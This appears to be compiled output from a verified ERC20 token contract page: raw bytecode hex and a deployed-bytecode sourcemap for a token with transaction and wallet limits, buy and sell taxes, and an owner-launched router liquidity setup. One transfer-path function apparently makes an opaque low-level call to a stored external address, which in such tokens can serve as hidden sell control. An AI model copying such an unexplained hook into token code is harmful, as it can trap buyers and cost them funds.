50565b5f612987602483612171565b91506129928261292d565b604082019050919050565b5f6020820190508181035f8301526129b48161297b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a15602283612171565b9150612a20826129bb565b604082019050919050565b5f6020820190508181035f830152612a4281612a09565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612aa3602583612171565b9150612aae82612a49565b604082019050919050565b5f6020820190508181035f830152612ad081612a97565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b31602383612171565b9150612b3c82612ad7565b604082019050919050565b5f6020820190508181035f830152612b5e81612b25565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612bbf602983612171565b9150612bca82612b65565b604082019050919050565b5f6020820190508181035f830152612bec81612bb3565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612c27601983612171565b9150612c3282612bf3565b602082019050919050565b5f6020820190508181035f830152612c5481612c1b565b9050919050565b5f612c658261226f565b9150612c708361226f565b9250828201905080821115612c8857612c876124a5565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612cc2601a83612171565b9150612ccd82612c8e565b602082019050919050565b5f6020820190508181035f830152612cef81612cb6565b9050919050565b5f612d008261226f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d3257612d316124a5565b5b600182019050919050565b5f612d478261226f565b9150612d528361226f565b9250828203905081811115612d6a57612d696124a5565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612da78261226f565b9150612db28361226f565b925082612dc257612dc1612d70565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612e27602183612171565b9150612e3282612dcd565b604082019050919050565b5f6020820190508181035f830152612e5481612e1b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612ee781612234565b82525050565b5f612ef88383612ede565b60208301905092915050565b5f602082019050919050565b5f612f1a82612eb5565b612f248185612ebf565b9350612f2f83612ecf565b805f5b83811015612f5f578151612f468882612eed565b9750612f5183612f04565b925050600181019050612f32565b5085935050505092915050565b5f60a082019050612f7f5f830188612313565b612f8c60208301876127f5565b8181036040830152612f9e8186612f10565b9050612fad606083018561243f565b612fba6080830184612313565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612ff8601b83612171565b915061300382612fc4565b602082019050919050565b5f6020820190508181035f83015261302581612fec565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ced90f740058114a222301e670e1b3e4ff4e3940222d760fa9919a10b169a60864736f6c63430008150033

Deployed Bytecode Sourcemap

3676:8238:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5536:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6369:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4716:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5813:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6538:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5722:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10591:99;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5916:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2757:148;;;;;;;;;;;;;:::i;:::-;;10698:159;;;;;;;;;;;;;:::i;:::-;;4552:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2543:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4606:49;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5627:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10865:137;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6043:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4662:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11110:762;;;;;;;;;;;;;:::i;:::-;;6218:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5536:83;5573:13;5606:5;;;;;;;;;;;;;;;;;5599:12;;5536:83;:::o;6369:161::-;6444:4;6461:39;6470:12;:10;:12::i;:::-;6484:7;6493:6;6461:8;:39::i;:::-;6518:4;6511:11;;6369:161;;;;:::o;4716:41::-;;;;:::o;5813:95::-;5866:7;4370:1;4425:2;:13;;;;:::i;:::-;4413:9;:25;;;;:::i;:::-;5886:14;;5813:95;:::o;6538:313::-;6636:4;6653:36;6663:6;6671:9;6682:6;6653:9;:36::i;:::-;6700:121;6709:6;6717:12;:10;:12::i;:::-;6731:89;6769:6;6731:89;;;;;;;;;;;;;;;;;:11;:19;6743:6;6731:19;;;;;;;;;;;;;;;:33;6751:12;:10;:12::i;:::-;6731:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6700:8;:121::i;:::-;6839:4;6832:11;;6538:313;;;;;:::o;5722:83::-;5763:5;4370:1;5781:16;;5722:83;:::o;10591:99::-;2680:12;:10;:12::i;:::-;2670:22;;:6;;;;;;;;;;:22;;;2662:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10674:8:::1;10660:11;;:22;;;;;;;;;;;;;;;;;;10591:99:::0;:::o;5916:119::-;5982:7;6009:9;:18;6019:7;6009:18;;;;;;;;;;;;;;;;6002:25;;5916:119;;;:::o;2757:148::-;2680:12;:10;:12::i;:::-;2670:22;;:6;;;;;;;;;;:22;;;2662:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2864:1:::1;2827:40;;2848:6;::::0;::::1;;;;;;;;2827:40;;;;;;;;;;;;2895:1;2878:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2757:148::o:0;10698:159::-;2680:12;:10;:12::i;:::-;2670:22;;:6;;;;;;;;;;:22;;;2662:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4370:1:::1;4425:2;:13;;;;:::i;:::-;4413:9;:25;;;;:::i;:::-;10751:12;:22;;;;4370:1;4425:2;:13;;;;:::i;:::-;4413:9;:25;;;;:::i;:::-;10784:14;:22;;;;10822:27;4370:1;4425:2;:13;;;;:::i;:::-;4413:9;:25;;;;:::i;:::-;10822:27;;;;;;:::i;:::-;;;;;;;;10698:159::o:0;4552:47::-;;;;:::o;2543:79::-;2581:7;2608:6;;;;;;;;;;;2601:13;;2543:79;:::o;4606:49::-;;;;:::o;5627:87::-;5666:13;5699:7;;;;;;;;;;;;;;;;;5692:14;;5627:87;:::o;10865:137::-;2680:12;:10;:12::i;:::-;2670:22;;:6;;;;;;;;;;:22;;;2662:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10977:17:::1;10958:16;;:36;;;;;;;;;;;;;;;;;;10865:137:::0;:::o;6043:167::-;6121:4;6138:42;6148:12;:10;:12::i;:::-;6162:9;6173:6;6138:9;:42::i;:::-;6198:4;6191:11;;6043:167;;;;:::o;4662:47::-;;;;:::o;11110:762::-;2680:12;:10;:12::i;:::-;2670:22;;:6;;;;;;;;;;:22;;;2662:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11174:11:::1;::::0;::::1;;;;;;;;11173:12;11165:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11235:4;11223:9;;:16;;;;;;;;;;;;;;;;;;11287:42;11250:15;;:80;;;;;;;;;;;;;;;;;;11341:58;11358:4;11373:15;;;;;;;;;;;4370:1;4425:2;:13;;;;:::i;:::-;4413:9;:25;;;;:::i;:::-;11341:8;:58::i;:::-;11444:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11426:55;;;11490:4;11497:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11426:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11410:13;;:110;;;;;;;;;;;;;;;;;;11531:15;;;;;;;;;;;:31;;;11570:21;11601:4;11607:24;11625:4;11607:9;:24::i;:::-;11632:1;11634::::0;11636:7:::1;:5;:7::i;:::-;11644:15;11531:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11678:13;;;;;;;;;;;11671:29;;;11709:15;;;;;;;;;;;11727:14;11671:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11765:5;11753:9;;:17;;;;;;;;;;;;;;;;;;11795:4;11781:11;;:18;;;;;;;;;;;;;;;;;;11824:4;11810:11;::::0;:18:::1;;;;;;;;;;;;;;;;;;11852:12;11839:10;:25;;;;11110:762::o:0;6218:143::-;6299:7;6326:11;:18;6338:5;6326:18;;;;;;;;;;;;;;;:27;6345:7;6326:27;;;;;;;;;;;;;;;;6319:34;;6218:143;;;;:::o;297:98::-;350:7;377:10;370:17;;297:98;:::o;6859:335::-;6969:1;6952:19;;:5;:19;;;6944:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7050:1;7031:21;;:7;:21;;;7023:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7132:6;7102:11;:18;7114:5;7102:18;;;;;;;;;;;;;;;:27;7121:7;7102:27;;;;;;;;;;;;;;;:36;;;;7170:7;7154:32;;7163:5;7154:32;;;7179:6;7154:32;;;;;;:::i;:::-;;;;;;;;6859:335;;;:::o;7202:2249::-;7306:1;7290:18;;:4;:18;;;7282:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7383:1;7369:16;;:2;:16;;;7361:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7453:1;7444:6;:10;7436:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;7511:17;7553:7;:5;:7::i;:::-;7545:15;;:4;:15;;;;:32;;;;;7570:7;:5;:7::i;:::-;7564:13;;:2;:13;;;;7545:32;7541:1485;;;7606:76;7678:3;7606:67;7628:15;;7618:9;;:25;7617:55;;7658:14;;7617:55;;;7645:12;;7617:55;7606:6;:10;;:67;;;;:::i;:::-;:71;;:76;;;;:::i;:::-;7594:88;;7711:13;;;;;;;;;;;7703:21;;:4;:21;;;:55;;;;;7742:15;;;;;;;;;;;7728:30;;:2;:30;;;;7703:55;:83;;;;;7764:18;:22;7783:2;7764:22;;;;;;;;;;;;;;;;;;;;;;;;;7762:24;7703:83;:98;;;;;7790:11;7798:2;7790:7;:11::i;:::-;7703:98;7699:450;;;7840:12;;7830:6;:22;;7822:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;7935:14;;7925:6;7909:13;7919:2;7909:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7901:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8023:12;8018:1;8005:10;;:14;;;;:::i;:::-;:30;8001:103;;;8069:14;8080:2;8069:10;:14::i;:::-;8068:15;8060:24;;;;;;8001:103;8122:9;;:11;;;;;;;;;:::i;:::-;;;;;;7699:450;8175:13;;;;;;;;;;;8169:19;;:2;:19;;;;:47;;;;;8194:18;:22;8213:2;8194:22;;;;;;;;;;;;;;;;;;;;;;;;;8192:24;8169:47;8165:167;;;8271:14;;8261:6;8245:13;8255:2;8245:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8237:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8165:167;8357:13;;;;;;;;;;;8351:19;;:2;:19;;;:43;;;;;8389:4;8374:20;;:4;:20;;;;8351:43;8348:174;;;8427:79;8502:3;8427:70;8449:16;;8439:9;;:26;8438:58;;8481:15;;8438:58;;;8467:13;;8438:58;8427:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;8415:91;;8348:174;8538:28;8569:24;8587:4;8569:9;:24::i;:::-;8538:55;;8613:6;;;;;;;;;;;8612:7;:30;;;;;8629:13;;;;;;;;;;;8623:19;;:2;:19;;;8612:30;:45;;;;;8646:11;;;;;;;;;;;8612:45;:87;;;;;8682:17;;8661:20;:38;8612:87;:119;;;;;8713:18;;8703:9;;:28;8612:119;8608:407;;;8752:55;8769:37;8773:20;8794:11;;8769:3;:37::i;:::-;8752:16;:55::i;:::-;8826:26;8855:21;8826:50;;8919:1;8898:18;:22;8895:105;;;8945:35;8958:21;8945:12;:35::i;:::-;8895:105;8733:282;8608:407;7579:1447;7541:1485;9042:9;;;;;;;;;;;9038:55;;;9080:1;9068:13;;9038:55;9116:1;9106:9;:11;9103:165;;;9158:39;9187:9;9158;:24;9176:4;9158:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;9133:9;:24;9151:4;9133:24;;;;;;;;;;;;;;;:64;;;;9240:4;9217:39;;9226:4;9217:39;;;9246:9;9217:39;;;;;;:::i;:::-;;;;;;;;9103:165;9294:27;9314:6;9294:9;:15;9304:4;9294:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;9278:9;:15;9288:4;9278:15;;;;;;;;;;;;;;;:43;;;;9346:40;9364:21;9375:9;9364:6;:10;;:21;;;;:::i;:::-;9346:9;:13;9356:2;9346:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;9332:9;:13;9342:2;9332:13;;;;;;;;;;;;;;;:54;;;;9417:2;9402:41;;9411:4;9402:41;;;9421:21;9432:9;9421:6;:10;;:21;;;;:::i;:::-;9402:41;;;;;;:::i;:::-;;;;;;;;7271:2180;7202:2249;;;:::o;1435:190::-;1521:7;1554:1;1549;:6;;1557:12;1541:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1581:9;1597:1;1593;:5;;;;:::i;:::-;1581:17;;1616:1;1609:8;;;1435:190;;;;;:::o;1633:246::-;1691:7;1720:1;1715;:6;1711:47;;1745:1;1738:8;;;;1711:47;1768:9;1784:1;1780;:5;;;;:::i;:::-;1768:17;;1813:1;1808;1804;:5;;;;:::i;:::-;:10;1796:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1870:1;1863:8;;;1633:246;;;;;:::o;1887:132::-;1945:7;1972:39;1976:1;1979;1972:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1965:46;;1887:132;;;;:::o;9772:320::-;9818:4;9835:16;9899:2;9854:48;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9835:67;;9913:12;9936:16;;;;;;;;;;;9913:40;;10049:1;10046;10040:3;10034:10;10027:4;10022:3;10018:14;10012:4;10005:5;9992:59;9988:64;10080:4;10073:11;;;;9772:320;;;:::o;9569:195::-;9628:4;9645:12;9712:7;9700:20;9692:28;;9755:1;9748:4;:8;9741:15;;;9569:195;;;:::o;9461:100::-;9518:7;9547:1;9545;:3;9544:9;;9552:1;9544:9;;;9550:1;9544:9;9537:16;;9461:100;;;;:::o;10100:483::-;5124:4;5115:6;;:13;;;;;;;;;;;;;;;;;;10178:21:::1;10216:1;10202:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10178:40;;10247:4;10229;10234:1;10229:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10273:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10263:4;10268:1;10263:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10306:62;10323:4;10338:15;;;;;;;;;;;10356:11;10306:8;:62::i;:::-;10379:15;;;;;;;;;;;:66;;;10460:11;10486:1;10502:4;10529;10549:15;10379:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10167:416;5160:5:::0;5151:6;;:14;;;;;;;;;;;;;;;;;;10100:483;:::o;11010:92::-;11067:10;;;;;;;;;;;:19;;:27;11087:6;11067:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11010:92;:::o;1104:179::-;1162:7;1182:9;1198:1;1194;:5;;;;:::i;:::-;1182:17;;1223:1;1218;:6;;1210:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1274:1;1267:8;;;1104:179;;;;:::o;1291:136::-;1349:7;1376:43;1380:1;1383;1376:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1369:50;;1291:136;;;;:::o;2027:189::-;2113:7;2145:1;2141;:5;2148:12;2133:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2172:9;2188:1;2184;:5;;;;:::i;:::-;2172:17;;2207:1;2200:8;;;2027:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:116::-;4923:21;4938:5;4923:21;:::i;:::-;4916:5;4913:32;4903:60;;4959:1;4956;4949:12;4903:60;4853:116;:::o;4975:133::-;5018:5;5056:6;5043:20;5034:29;;5072:30;5096:5;5072:30;:::i;:::-;4975:133;;;;:::o;5114:323::-;5170:6;5219:2;5207:9;5198:7;5194:23;5190:32;5187:119;;;5225:79;;:::i;:::-;5187:119;5345:1;5370:50;5412:7;5403:6;5392:9;5388:22;5370:50;:::i;:::-;5360:60;;5316:114;5114:323;;;;:::o;5443:329::-;5502:6;5551:2;5539:9;5530:7;5526:23;5522:32;5519:119;;;5557:79;;:::i;:::-;5519:119;5677:1;5702:53;5747:7;5738:6;5727:9;5723:22;5702:53;:::i;:::-;5692:63;;5648:117;5443:329;;;;:::o;5778:118::-;5865:24;5883:5;5865:24;:::i;:::-;5860:3;5853:37;5778:118;;:::o;5902:222::-;5995:4;6033:2;6022:9;6018:18;6010:26;;6046:71;6114:1;6103:9;6099:17;6090:6;6046:71;:::i;:::-;5902:222;;;;:::o;6130:474::-;6198:6;6206;6255:2;6243:9;6234:7;6230:23;6226:32;6223:119;;;6261:79;;:::i;:::-;6223:119;6381:1;6406:53;6451:7;6442:6;6431:9;6427:22;6406:53;:::i;:::-;6396:63;;6352:117;6508:2;6534:53;6579:7;6570:6;6559:9;6555:22;6534:53;:::i;:::-;6524:63;;6479:118;6130:474;;;;;:::o;6610:180::-;6658:77;6655:1;6648:88;6755:4;6752:1;6745:15;6779:4;6776:1;6769:15;6796:102;6838:8;6885:5;6882:1;6878:13;6857:34;;6796:102;;;:::o;6904:848::-;6965:5;6972:4;6996:6;6987:15;;7020:5;7011:14;;7034:712;7055:1;7045:8;7042:15;7034:712;;;7150:4;7145:3;7141:14;7135:4;7132:24;7129:50;;;7159:18;;:::i;:::-;7129:50;7209:1;7199:8;7195:16;7192:451;;;7624:4;7617:5;7613:16;7604:25;;7192:451;7674:4;7668;7664:15;7656:23;;7704:32;7727:8;7704:32;:::i;:::-;7692:44;;7034:712;;;6904:848;;;;;;;:::o;7758:1073::-;7812:5;8003:8;7993:40;;8024:1;8015:10;;8026:5;;7993:40;8052:4;8042:36;;8069:1;8060:10;;8071:5;;8042:36;8138:4;8186:1;8181:27;;;;8222:1;8217:191;;;;8131:277;;8181:27;8199:1;8190:10;;8201:5;;;8217:191;8262:3;8252:8;8249:17;8246:43;;;8269:18;;:::i;:::-;8246:43;8318:8;8315:1;8311:16;8302:25;;8353:3;8346:5;8343:14;8340:40;;;8360:18;;:::i;:::-;8340:40;8393:5;;;8131:277;;8517:2;8507:8;8504:16;8498:3;8492:4;8489:13;8485:36;8467:2;8457:8;8454:16;8449:2;8443:4;8440:12;8436:35;8420:111;8417:246;;;8573:8;8567:4;8563:19;8554:28;;8608:3;8601:5;8598:14;8595:40;;;8615:18;;:::i;:::-;8595:40;8648:5;;8417:246;8688:42;8726:3;8716:8;8710:4;8707:1;8688:42;:::i;:::-;8673:57;;;;8762:4;8757:3;8753:14;8746:5;8743:25;8740:51;;;8771:18;;:::i;:::-;8740:51;8820:4;8813:5;8809:16;8800:25;;7758:1073;;;;;;:::o;8837:281::-;8895:5;8919:23;8937:4;8919:23;:::i;:::-;8911:31;;8963:25;8979:8;8963:25;:::i;:::-;8951:37;;9007:104;9044:66;9034:8;9028:4;9007:104;:::i;:::-;8998:113;;8837:281;;;;:::o;9124:410::-;9164:7;9187:20;9205:1;9187:20;:::i;:::-;9182:25;;9221:20;9239:1;9221:20;:::i;:::-;9216:25;;9276:1;9273;9269:9;9298:30;9316:11;9298:30;:::i;:::-;9287:41;;9477:1;9468:7;9464:15;9461:1;9458:22;9438:1;9431:9;9411:83;9388:139;;9507:18;;:::i;:::-;9388:139;9172:362;9124:410;;;;:::o;9540:182::-;9680:34;9676:1;9668:6;9664:14;9657:58;9540:182;:::o;9728:366::-;9870:3;9891:67;9955:2;9950:3;9891:67;:::i;:::-;9884:74;;9967:93;10056:3;9967:93;:::i;:::-;10085:2;10080:3;10076:12;10069:19;;9728:366;;;:::o;10100:419::-;10266:4;10304:2;10293:9;10289:18;10281:26;;10353:9;10347:4;10343:20;10339:1;10328:9;10324:17;10317:47;10381:131;10507:4;10381:131;:::i;:::-;10373:139;;10100:419;;;:::o;10525:173::-;10665:25;10661:1;10653:6;10649:14;10642:49;10525:173;:::o;10704:366::-;10846:3;10867:67;10931:2;10926:3;10867:67;:::i;:::-;10860:74;;10943:93;11032:3;10943:93;:::i;:::-;11061:2;11056:3;11052:12;11045:19;;10704:366;;;:::o;11076:419::-;11242:4;11280:2;11269:9;11265:18;11257:26;;11329:9;11323:4;11319:20;11315:1;11304:9;11300:17;11293:47;11357:131;11483:4;11357:131;:::i;:::-;11349:139;;11076:419;;;:::o;11501:143::-;11558:5;11589:6;11583:13;11574:22;;11605:33;11632:5;11605:33;:::i;:::-;11501:143;;;;:::o;11650:351::-;11720:6;11769:2;11757:9;11748:7;11744:23;11740:32;11737:119;;;11775:79;;:::i;:::-;11737:119;11895:1;11920:64;11976:7;11967:6;11956:9;11952:22;11920:64;:::i;:::-;11910:74;;11866:128;11650:351;;;;:::o;12007:332::-;12128:4;12166:2;12155:9;12151:18;12143:26;;12179:71;12247:1;12236:9;12232:17;12223:6;12179:71;:::i;:::-;12260:72;12328:2;12317:9;12313:18;12304:6;12260:72;:::i;:::-;12007:332;;;;;:::o;12345:85::-;12390:7;12419:5;12408:16;;12345:85;;;:::o;12436:60::-;12464:3;12485:5;12478:12;;12436:60;;;:::o;12502:158::-;12560:9;12593:61;12611:42;12620:32;12646:5;12620:32;:::i;:::-;12611:42;:::i;:::-;12593:61;:::i;:::-;12580:74;;12502:158;;;:::o;12666:147::-;12761:45;12800:5;12761:45;:::i;:::-;12756:3;12749:58;12666:147;;:::o;12819:807::-;13068:4;13106:3;13095:9;13091:19;13083:27;;13120:71;13188:1;13177:9;13173:17;13164:6;13120:71;:::i;:::-;13201:72;13269:2;13258:9;13254:18;13245:6;13201:72;:::i;:::-;13283:80;13359:2;13348:9;13344:18;13335:6;13283:80;:::i;:::-;13373;13449:2;13438:9;13434:18;13425:6;13373:80;:::i;:::-;13463:73;13531:3;13520:9;13516:19;13507:6;13463:73;:::i;:::-;13546;13614:3;13603:9;13599:19;13590:6;13546:73;:::i;:::-;12819:807;;;;;;;;;:::o;13632:143::-;13689:5;13720:6;13714:13;13705:22;;13736:33;13763:5;13736:33;:::i;:::-;13632:143;;;;:::o;13781:663::-;13869:6;13877;13885;13934:2;13922:9;13913:7;13909:23;13905:32;13902:119;;;13940:79;;:::i;:::-;13902:119;14060:1;14085:64;14141:7;14132:6;14121:9;14117:22;14085:64;:::i;:::-;14075:74;;14031:128;14198:2;14224:64;14280:7;14271:6;14260:9;14256:22;14224:64;:::i;:::-;14214:74;;14169:129;14337:2;14363:64;14419:7;14410:6;14399:9;14395:22;14363:64;:::i;:::-;14353:74;;14308:129;13781:663;;;;;:::o;14450:332::-;14571:4;14609:2;14598:9;14594:18;14586:26;;14622:71;14690:1;14679:9;14675:17;14666:6;14622:71;:::i;:::-;14703:72;14771:2;14760:9;14756:18;14747:6;14703:72;:::i;:::-;14450:332;;;;;:::o;14788:137::-;14842:5;14873:6;14867:13;14858:22;;14889:30;14913:5;14889:30;:::i;:::-;14788:137;;;;:::o;14931:345::-;14998:6;15047:2;15035:9;15026:7;15022:23;15018:32;15015:119;;;15053:79;;:::i;:::-;15015:119;15173:1;15198:61;15251:7;15242:6;15231:9;15227:22;15198:61;:::i;:::-;15188:71;;15144:125;14931:345;;;;:::o;15282:223::-;15422:34;15418:1;15410:6;15406:14;15399:58;15491:6;15486:2;15478:6;15474:15;15467:31;15282:223;:::o;15511:366::-;15653:3;15674:67;15738:2;15733:3;15674:67;:::i;:::-;15667:74;;15750:93;15839:3;15750:93;:::i;:::-;15868:2;15863:3;15859:12;15852:19;